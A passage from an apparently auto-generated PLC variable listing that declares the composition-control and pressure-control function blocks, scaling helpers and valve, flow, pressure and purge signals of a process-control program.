+76;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;UINT; +77;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;REAL; +78;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;UINT; +79;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;UINT; +80;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;REAL; +81;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;REAL; +82;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;REAL; +83;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;UINT; +84;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;REAL; +85;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;REAL; +86;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;TIME; +87;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;SCALE_TO_REAL; +88;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;BOOL; +89;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;BOOL; +90;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;UINT; +91;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;REAL; +92;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;REAL; +93;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;REAL; +94;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;UINT; +95;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;UINT; +96;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;REAL; +97;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;REAL; +98;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +99;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +100;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +101;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +102;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +103;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +104;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +105;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +106;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +107;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +108;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +109;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +110;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +111;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +112;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +113;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +114;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +115;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +116;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +117;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;REAL; +118;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;REAL; +119;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;REAL; +120;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;REAL; +121;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +122;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +123;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +124;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +125;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +126;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +127;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +128;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +129;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +130;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +131;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +132;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;REAL; +133;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;REAL; +134;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;REAL; +135;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;REAL; +136;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0;SCALE_TO_SIGNED; +137;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.EN;BOOL; +138;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ENO;BOOL; +139;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT;UINT; +140;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT;INT; +141;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT;UINT; +142;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT;UINT; +143;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT;INT; +144;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;UINT; +145;VAR;CONFIG0.RES0.INSTANCE0.F1_FLOW;CONFIG0.RES0.INSTANCE0.F1_FLOW;UINT; +146;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;UINT; +147;VAR;CONFIG0.RES0.INSTANCE0.F2_FLOW;CONFIG0.RES0.INSTANCE0.F2_FLOW;UINT; +148;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;UINT; +149;VAR;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;UINT; +150;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;UINT; +151;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;UINT; +152;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE;UINT; +153;VAR;CONFIG0.RES0.INSTANCE0.LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL;UINT; +154;VAR;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;UINT; +155;VAR;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;UINT; +156;VAR;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;UINT; +157;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;UINT; +158;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;UINT; +159;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;UINT; +160;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;UINT; +161;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;UINT; +162;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;UINT; +163;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;UINT; +164;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;UINT; +165;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;PRESSURE_CONTROL; +166;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;BOOL; +167;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;BOOL; +168;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;REAL; +169;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;UINT; +170;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;REAL; +171;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;UINT; +172;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;UINT; +173;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;REAL; +174;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;REAL; +175;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;REAL; +176;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;UINT; +177;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;REAL; +178;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;REAL; +179;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;TIME; +180;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;SCALE_TO_REAL; +181;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;BOOL; +182;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;BOOL; +183;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;UINT; +184;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;REAL; +185;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;REAL; +186;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;REAL; +187;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;UINT; +188;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;UINT; +189;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;REAL; +190;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;REAL; +191;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;SCALE_TO_REAL; +192;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;BOOL; +193;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;BOOL; +194;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;UINT; +195;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;REAL; +196;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;REAL; +197;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN;REAL; +198;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX;UINT; +199;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN;UINT; +200;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE;REAL; +201;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET;REAL; +202;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +203;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +204;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +205;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +206;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +207;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +208;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +209;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +210;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX;REAL; +211;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN;REAL; +212;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MIN;REAL; +213;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_MAX;REAL; +214;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +215;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +216;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +217;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +218;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; 